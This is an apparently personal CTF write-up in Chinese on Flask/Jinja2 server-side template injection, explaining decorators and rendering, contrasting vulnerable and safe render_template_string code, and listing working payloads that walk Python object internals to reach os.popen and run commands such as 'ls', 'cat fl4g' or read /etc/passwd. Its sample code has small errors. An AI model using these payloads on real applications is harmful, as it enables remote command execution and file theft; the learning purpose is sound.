在攻防世界做到一道涉及模板注入的題Web_python_template_injection,簡單了解了一下模板注入
模板
可以理解為是一段固定好格式,並等着你來填充信息的文件,模板注入
就是指將一串指令代替變量傳入模板中讓它執行
先了解了一下裝飾器的概念
裝飾器: 簡單講就是在一個函數內部定義另外一個函數,然后返回一個新的函數,即動態的給一個對象添加額外的職責。比如有一個函數func(a, b),它的功能是求a,b的差值,我們現在想對函數功能再裝飾下,求完差值后再取絕對值,但是不能在func函數內部實現,這時候就需要裝飾器函數了,比如func= decorate(func)函數,將func函數作為參數傳遞給decorate函數,由decorate來豐富func函數,豐富完成后再返回給func,此時func的功能就豐富了。
@
用做函數的修飾符,可以在模塊或者類的定義層內對函數進行修飾
def decorate(func):
def inner(a, b):
ret = func(a, b):
return abs(ret)
return inner
@decorate
def sub(a, b):
return a-b
print sun(3,4)
=>1
@app.route
app.route裝飾器作用是把函數和URL綁定
from flask import flask
@app.route('/index/')
def hello_word():
return 'hello word'
訪問
http://url/index
的時候,flask會返回Hello World
渲染
- render_template 用來渲染一個指定的文件的
- render_template_string 用來渲染一個字符串
模板
Flask使用Jinja2渲染引擎,以{{}}
作為變量包裹的標識符同時,這個符號包裹內還可以執行一些簡單的表達式
模板引擎會對輸入變量進行編碼轉義:
錯誤使用:
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
上面這段代碼直接將用戶輸入作為了模板,不會經過轉義和過濾的步驟,我們在傳入code
時,可以用{{}}
來包裹代碼,以替代本應時參數的id
正確使用:
@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('<h1>{{ code }}</h1>',code=code)
注入
通過Python對象的繼承,用魔術方法一步步找到可利用的方法去執行。即找到父類<type 'object'>
–>尋找子類–>找關於命令執行或者文件操作的模塊
os.system 退出狀態碼
os.popen 以file形式返回輸出內容
對象的魔術方法:
__class__ 返回類型所屬的對象
__mro__ 返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。
__base__ 返回該對象所繼承的基類
// __base__和__mro__都是用來尋找基類的
__subclasses__ 每個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
__init__ 類的初始化方法
__globals__ 對包含函數全局變量的字典的引用
步驟
#測試是否存在模板注入
>>>{{1+1}}
[構造簡單的payload,看服務器是否有回顯]
#獲取''字符串的所屬對象
>>> ''.__class__
<class 'str'>
#獲取str類的父類
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
#獲取object類的所有子類
>>> ''.__class__.__mro__[1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>...
#找到所需的類在列表第幾位(從第0位開始)
>>>''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('命令行語句').read()
[ popen('ls').read(),意思是得到ls的結果並讀取給變量,因此它會把當前目錄所有文件都打印在我們的網頁上]
#讀取文件內容
>>>''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()
常用payload:
>>>''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
>>>''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
>>>''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()
包含os模塊的類:
<class 'site._Printer'>
<class 'site.Quitter'>
reference
https://zhuanlan.zhihu.com/p/26724125
https://www.liaoxuefeng.com/wiki/1016959663602400/1017451662295584#0
https://www.jianshu.com/p/b6f1aea3a2eb
https://blog.csdn.net/zss192/article/details/104200493
補充下:
內置函數:get_flashed_messages(), url_for()
url_for()
一般我們通過一個URL就可以執行到某一個函數。如果反過來,我們知道一個函數,怎么去獲得這個URL呢?url_for函數就可以幫我們實現這個功能。url_for()函數接收兩個及以上的參數,他接收函數名作為第一個參數,接收對應URL規則的命名參數,如果還出現其他的參數,則會添加到URL的后面作為查詢參數。
get_flashed_messages()
返回之前在Flask中通過 flash() 傳入的閃現信息列表。把字符串對象表示的消息加入到一個消息隊列中,然后通過調用get_flashed_messages() 方法取出(閃現信息只能取出一次,取出后閃現信息會被清空)。